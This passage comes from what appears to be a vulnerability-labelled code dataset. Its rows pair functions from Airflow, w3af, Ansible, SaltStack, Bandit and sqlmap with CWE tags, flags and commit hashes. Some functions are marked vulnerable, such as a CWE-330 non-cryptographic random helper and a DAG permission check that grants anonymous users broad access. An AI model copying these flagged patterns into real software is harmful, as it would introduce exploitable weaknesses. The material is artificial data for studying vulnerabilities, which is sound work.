            ):
                return {dag.dag_id for dag in session.query(DagModel.dag_id)}
            user_query = (
                session.query(User)
                .options(
                    joinedload(User.roles)
                    .subqueryload(Role.permissions)
                    .options(joinedload(Permission.action), joinedload(Permission.resource))
                )
                .filter(User.id == user.id)
                .first()
            )
            roles = user_query.roles

        resources = set()
        for role in roles:
            for permission in role.permissions:
                action = permission.action.name
                if action not in user_actions:
                    continue

                resource = permission.resource.name
                if resource == permissions.RESOURCE_DAG:
                    return {dag.dag_id for dag in session.query(DagModel.dag_id)}

                if resource.startswith(permissions.RESOURCE_DAG_PREFIX):
                    resources.add(resource[len(permissions.RESOURCE_DAG_PREFIX) :])
                else:
                    resources.add(resource)
        return {dag.dag_id for dag in session.query(DagModel.dag_id).filter(DagModel.dag_id.in_(resources))}",CWE-Unknown,apache/airflow,5c0aabb29089132484cdb3cde20d8c2a87c55545,"def get_accessible_dag_ids(self, user, user_actions=None, session=None) -> set[str]:
        """"""Generic function to get readable or writable DAGs for user.""""""
        if not user_actions:
            user_actions = [permissions.ACTION_CAN_EDIT, permissions.ACTION_CAN_READ]

        if user.is_anonymous:
            roles = user.roles
        else:
            user_query = (
                session.query(User)
                .options(
                    joinedload(User.roles)
                    .subqueryload(Role.permissions)
                    .options(joinedload(Permission.action), joinedload(Permission.resource))
                )
                .filter(User.id == user.id)
                .first()
            )
            roles = user_query.roles

        resources = set()
        for role in roles:
            for permission in role.permissions:
                action = permission.action.name
                if action not in user_actions:
                    continue

                resource = permission.resource.name
                if resource == permissions.RESOURCE_DAG:
                    return {dag.dag_id for dag in session.query(DagModel.dag_id)}

                if resource.startswith(permissions.RESOURCE_DAG_PREFIX):
                    resources.add(resource[len(permissions.RESOURCE_DAG_PREFIX) :])
                else:
                    resources.add(resource)
        return {dag.dag_id for dag in session.query(DagModel.dag_id).filter(DagModel.dag_id.in_(resources))}"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/ui/api/utils/mp_flask.py,0,"def run_simple(hostname, port, application, use_reloader=False,
               use_debugger=False, use_evalex=True,
               extra_files=None, reloader_interval=1,
               reloader_type='auto', threaded=False, processes=1,
               request_handler=None, static_files=None,
               passthrough_errors=False, ssl_context=None):
    if use_debugger:
        from werkzeug.debug import DebuggedApplication
        application = DebuggedApplication(application, use_evalex)
    if static_files:
        from werkzeug.wsgi import SharedDataMiddleware
        application = SharedDataMiddleware(application, static_files)

    def inner():
        # Override here
        make_server(hostname, port, application, threaded,
                    processes, request_handler,
                    passthrough_errors, ssl_context).serve_forever()

    if os.environ.get('WERKZEUG_RUN_MAIN') != 'true':
        display_hostname = hostname != '*' and hostname or 'localhost'
        if ':' in display_hostname:
            display_hostname = '[%s]' % display_hostname
        quit_msg = '(Press CTRL+C to quit)'
        _log('info', ' * Running on %s://%s:%d/ %s', ssl_context is None
             and 'http' or 'https', display_hostname, port, quit_msg)
    if use_reloader:
        # Create and destroy a socket so that any exceptions are raised before
        # we spawn a separate Python interpreter and lose this ability.
        address_family = select_ip_version(hostname, port)
        test_socket = socket.socket(address_family, socket.SOCK_STREAM)
        test_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        test_socket.bind((hostname, port))
        test_socket.close()

        from werkzeug._reloader import run_with_reloader
        run_with_reloader(inner, extra_files, reloader_interval,
                          reloader_type)
    else:
        inner()",,andresriancho/w3af,502e76387aaa08c724e6941a7821d40a57efb916,"def run_simple(hostname, port, application, use_reloader=False,
               use_debugger=False, use_evalex=True,
               extra_files=None, reloader_interval=1,
               reloader_type='auto', threaded=False, processes=1,
               request_handler=None, static_files=None,
               passthrough_errors=False, ssl_context=None):
    if use_debugger:
        from werkzeug.debug import DebuggedApplication
        application = DebuggedApplication(application, use_evalex)
    if static_files:
        from werkzeug.wsgi import SharedDataMiddleware
        application = SharedDataMiddleware(application, static_files)

    def inner():
        # Override here
        make_server(hostname, port, application, threaded,
                    processes, request_handler,
                    passthrough_errors, ssl_context).serve_forever()

    if os.environ.get('WERKZEUG_RUN_MAIN') != 'true':
        display_hostname = hostname != '*' and hostname or 'localhost'
        if ':' in display_hostname:
            display_hostname = '[%s]' % display_hostname
        quit_msg = '(Press CTRL+C to quit)'
        _log('info', ' * Running on %s://%s:%d/ %s', ssl_context is None
             and 'http' or 'https', display_hostname, port, quit_msg)
    if use_reloader:
        # Create and destroy a socket so that any exceptions are raised before
        # we spawn a separate Python interpreter and lose this ability.
        address_family = select_ip_version(hostname, port)
        test_socket = socket.socket(address_family, socket.SOCK_STREAM)
        test_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        test_socket.bind((hostname, port))
        test_socket.close()

        from werkzeug.serving._reloader import run_with_reloader
        run_with_reloader(inner, extra_files, reloader_interval,
                          reloader_type)
    else:
        inner()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/cliconf/aruba.py,0,"def get_capabilities(self):
        result = super(Cliconf, self).get_capabilities()
        return json.dumps(result)",,ansible/ansible,c27e47327f902dddf0b93767e387cacdfc12e11f,"def get_capabilities(self):
        result = super(Cliconf, self).get_capabilities()
        return json.dumps(result)"
,UNKNOWN,UNKNOWN,tests/integration/modules/test_mac_group.py,1,"def __random_string(size=6):
    '''
    Generates a random username
    '''
    return 'RS-' + ''.join(
        random.choice(string.ascii_uppercase + string.digits)
        for x in range(size)
    )",CWE-330,saltstack/salt,07164622bbddadeb4e893eef0819107523e9b4bd,"def __random_string(size=6):
    '''
    Generates a random username
    '''
    return 'RS-' + ''.join(
        random.choice(string.ascii_uppercase + string.digits)
        for x in range(size)
    )"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/insecure_ssl_tls.py,0,"def ssl_with_bad_version(context, config):
    """"""**B502: Test for SSL use with bad version used**

    Several highly publicized exploitable flaws have been discovered
    in all versions of SSL and early versions of TLS. It is strongly
    recommended that use of the following known broken protocol versions be
    avoided:

    - SSL v2
    - SSL v3
    - TLS v1
    - TLS v1.1

    This plugin test scans for calls to Python methods with parameters that
    indicate the used broken SSL/TLS protocol versions. Currently, detection
    supports methods using Python's native SSL/TLS support and the pyOpenSSL
    module. A HIGH severity warning will be reported whenever known broken
    protocol versions are detected.

    It is worth noting that native support for TLS 1.2 is only available in
    more recent Python versions, specifically 2.7.9 and up, and 3.x

    A note on 'SSLv23':

    Amongst the available SSL/TLS versions provided by Python/pyOpenSSL there
    exists the option to use SSLv23. This very poorly named option actually
    means ""use the highest version of SSL/TLS supported by both the server and
    client"". This may (and should be) a version well in advance of SSL v2 or
    v3. Bandit can scan for the use of SSLv23 if desired, but its detection
    does not necessarily indicate a problem.

    When using SSLv23 it is important to also provide flags to explicitly
    exclude bad versions of SSL/TLS from the protocol versions considered. Both
    the Python native and pyOpenSSL modules provide the ``OP_NO_SSLv2`` and
    ``OP_NO_SSLv3`` flags for this purpose.

    **Config Options:**

    .. code-block:: yaml

        ssl_with_bad_version:
            bad_protocol_versions:
                - PROTOCOL_SSLv2
                - SSLv2_METHOD
                - SSLv23_METHOD
                - PROTOCOL_SSLv3  # strict option
                - PROTOCOL_TLSv1  # strict option
                - SSLv3_METHOD    # strict option
                - TLSv1_METHOD    # strict option

    :Example:

    .. code-block:: none

        >> Issue: ssl.wrap_socket call with insecure SSL/TLS protocol version
        identified, security issue.
           Severity: High   Confidence: High
           Location: ./examples/ssl-insecure-version.py:13
        12  # strict tests
        13  ssl.wrap_socket(ssl_version=ssl.PROTOCOL_SSLv3)
        14  ssl.wrap_socket(ssl_version=ssl.PROTOCOL_TLSv1)

    .. seealso::

     - :func:`ssl_with_bad_defaults`
     - :func:`ssl_with_no_version`
     - https://heartbleed.com/
     - https://en.wikipedia.org/wiki/POODLE
     - https://security.openstack.org/guidelines/dg_move-data-securely.html

    .. versionadded:: 0.9.0
    """"""
    bad_ssl_versions = get_bad_proto_versions(config)
    if context.call_function_name_qual == 'ssl.wrap_socket':
        if context.check_call_arg_value('ssl_version', bad_ssl_versions):
            return bandit.Issue(
                severity=bandit.HIGH,
                confidence=bandit.HIGH,
                text=""ssl.wrap_socket call with insecure SSL/TLS protocol ""
                     ""version identified, security issue."",
                lineno=context.get_lineno_for_call_arg('ssl_version'),
            )
    elif context.call_function_name_qual == 'pyOpenSSL.SSL.Context':
        if context.check_call_arg_value('method', bad_ssl_versions):
            return bandit.Issue(
                severity=bandit.HIGH,
                confidence=bandit.HIGH,
                text=""SSL.Context call with insecure SSL/TLS protocol ""
                     ""version identified, security issue."",
                lineno=context.get_lineno_for_call_arg('method'),
            )

    elif (context.call_function_name_qual != 'ssl.wrap_socket' and
          context.call_function_name_qual != 'pyOpenSSL.SSL.Context'):
        if (context.check_call_arg_value('method', bad_ssl_versions) or
                context.check_call_arg_value('ssl_version', bad_ssl_versions)):
            lineno = (context.get_lineno_for_call_arg('method') or
                      context.get_lineno_for_call_arg('ssl_version'))
            return bandit.Issue(
                severity=bandit.MEDIUM,
                confidence=bandit.MEDIUM,
                text=""Function call with insecure SSL/TLS protocol ""
                     ""identified, possible security issue."",
                lineno=lineno,
            )",UNKNOWN,PyCQA/bandit,e71e7bc1e7a2152cbda459cbb11561747d7b0490,"def ssl_with_bad_version(context, config):
    """"""**B502: Test for SSL use with bad version used**

    Several highly publicized exploitable flaws have been discovered
    in all versions of SSL and early versions of TLS. It is strongly
    recommended that use of the following known broken protocol versions be
    avoided:

    - SSL v2
    - SSL v3
    - TLS v1
    - TLS v1.1

    This plugin test scans for calls to Python methods with parameters that
    indicate the used broken SSL/TLS protocol versions. Currently, detection
    supports methods using Python's native SSL/TLS support and the pyOpenSSL
    module. A HIGH severity warning will be reported whenever known broken
    protocol versions are detected.

    It is worth noting that native support for TLS 1.2 is only available in
    more recent Python versions, specifically 2.7.9 and up, and 3.x

    A note on 'SSLv23':

    Amongst the available SSL/TLS versions provided by Python/pyOpenSSL there
    exists the option to use SSLv23. This very poorly named option actually
    means ""use the highest version of SSL/TLS supported by both the server and
    client"". This may (and should be) a version well in advance of SSL v2 or
    v3. Bandit can scan for the use of SSLv23 if desired, but its detection
    does not necessarily indicate a problem.

    When using SSLv23 it is important to also provide flags to explicitly
    exclude bad versions of SSL/TLS from the protocol versions considered. Both
    the Python native and pyOpenSSL modules provide the ``OP_NO_SSLv2`` and
    ``OP_NO_SSLv3`` flags for this purpose.

    **Config Options:**

    .. code-block:: yaml

        ssl_with_bad_version:
            bad_protocol_versions:
                - PROTOCOL_SSLv2
                - SSLv2_METHOD
                - SSLv23_METHOD
                - PROTOCOL_SSLv3  # strict option
                - PROTOCOL_TLSv1  # strict option
                - SSLv3_METHOD    # strict option
                - TLSv1_METHOD    # strict option

    :Example:

    .. code-block:: none

        >> Issue: ssl.wrap_socket call with insecure SSL/TLS protocol version
        identified, security issue.
           Severity: High   Confidence: High
           Location: ./examples/ssl-insecure-version.py:13
        12  # strict tests
        13  ssl.wrap_socket(ssl_version=ssl.PROTOCOL_SSLv3)
        14  ssl.wrap_socket(ssl_version=ssl.PROTOCOL_TLSv1)

    .. seealso::

     - :func:`ssl_with_bad_defaults`
     - :func:`ssl_with_no_version`
     - http://heartbleed.com/
     - https://poodlebleed.com/
     - https://security.openstack.org/
     - https://security.openstack.org/guidelines/dg_move-data-securely.html

    .. versionadded:: 0.9.0
    """"""
    bad_ssl_versions = get_bad_proto_versions(config)
    if context.call_function_name_qual == 'ssl.wrap_socket':
        if context.check_call_arg_value('ssl_version', bad_ssl_versions):
            return bandit.Issue(
                severity=bandit.HIGH,
                confidence=bandit.HIGH,
                text=""ssl.wrap_socket call with insecure SSL/TLS protocol ""
                     ""version identified, security issue."",
                lineno=context.get_lineno_for_call_arg('ssl_version'),
            )
    elif context.call_function_name_qual == 'pyOpenSSL.SSL.Context':
        if context.check_call_arg_value('method', bad_ssl_versions):
            return bandit.Issue(
                severity=bandit.HIGH,
                confidence=bandit.HIGH,
                text=""SSL.Context call with insecure SSL/TLS protocol ""
                     ""version identified, security issue."",
                lineno=context.get_lineno_for_call_arg('method'),
            )

    elif (context.call_function_name_qual != 'ssl.wrap_socket' and
          context.call_function_name_qual != 'pyOpenSSL.SSL.Context'):
        if (context.check_call_arg_value('method', bad_ssl_versions) or
                context.check_call_arg_value('ssl_version', bad_ssl_versions)):
            lineno = (context.get_lineno_for_call_arg('method') or
                      context.get_lineno_for_call_arg('ssl_version'))
            return bandit.Issue(
                severity=bandit.MEDIUM,
                confidence=bandit.MEDIUM,
                text=""Function call with insecure SSL/TLS protocol ""
                     ""identified, possible security issue."",
                lineno=lineno,
            )"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        start = time.time()

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                if conf.http2:
                    try:
                        import httpx
                    except ImportError:
                        raise SqlmapMissingDependence(""httpx[http2] not available (e.g. 'pip%s install httpx[http2]')"" % ('3' if six.PY3 else """"))

                    try:
                        proxy_mounts = dict((""%s://"" % key, httpx.HTTPTransport(proxy=""%s%s"" % (""http://"" if not ""://"" in kb.proxies[key] else """", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
                        with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
                            conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
                    except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
                        raise _http_client.HTTPException(getSafeExString(ex))
                    else:
                        conn.code = conn.status_code
                        conn.msg = conn.reason_phrase
                        conn.info = lambda c=conn: c.headers

                        conn._read_buffer = conn.read()
                        conn._read_offset = 0

                        requestMsg = re.sub("" HTTP/[0-9.]+\r\n"", "" %s\r\n"" % conn.http_version, requestMsg, count=1)

                        if not multipart:
                            threadData.lastRequestMsg = requestMsg

                            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                        def _read(count=None):
                            offset = conn._read_offset
                            if count is None:
                                result = conn._read_buffer[offset:]
                                conn._read_offset = len(conn._read_buffer)
                            else:
                                result = conn._read_buffer[offset: offset + count]
                                conn._read_offset += len(result)
                            return result

                        conn.read = _read
                else:
                    if not multipart:
                        threadData.lastRequestMsg = requestMsg

                        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                    conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn, ""fp"") and hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
